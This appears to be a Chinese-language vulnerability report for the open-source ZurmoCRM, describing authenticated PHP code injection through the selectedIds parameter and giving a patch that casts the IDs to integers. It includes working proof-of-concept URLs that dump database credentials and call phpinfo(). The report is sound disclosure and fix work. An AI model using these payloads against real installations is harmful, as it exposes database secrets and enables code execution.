鉴于目前ZumroCRM已经云端化,其开源版本的代码基本没有人维护,也没有地方提交bug清单。但相信国内有一些用户在使用这个开源的版本,下面报告一个ZumoCRM的重大风险点。
风险描述:
当用户登录ZumroCRM之后,可以执行PHP代码。可能导致丢失数据,暴露数据库账号密码,甚至更严重的问题。
风险重现:
/leads/default/?selectedIds=eval("echo(Yii::app()->db->connectionString.'=='.Yii::app()->db->username.'=='.Yii::app()->db->password);")
/leads/default/?selectedIds=phpinfo()
风险分析:
在一些ListView的$_GET['selectedIds'],其中参数 selectedIds作为表达式会被执行,调用了CComponent类的evaluateExpression,实际执行了php的eval() 或call_user_func_array()
风险位置:
所有含有CheckBoxColumn的ListView都有这个漏洞。
修正方法:
在appprotectedcoreutilsGetUtil.php的public static function resolveSelectedIdsFromGet()方法改造如下
/** * Resolve selectedIds value based on $_GET['selectedIds']. */ public static function resolveSelectedIdsFromGet() { if (!empty($_GET['selectedIds'])) { Yii::log('Class:GetUtil; method:resolveSelectedIdsFromGet; $selectedIds:'.json_encode($_GET['selectedIds'], JSON_FORCE_OBJECT), CLogger::LEVEL_WARNING); $arr = explode(",", $_GET['selectedIds']); // Not Coding Standard $intarr = array_map('intval',$arr);//强制转换为id数组,避免被当作表达式执行 return $intarr; } else { return array(); } }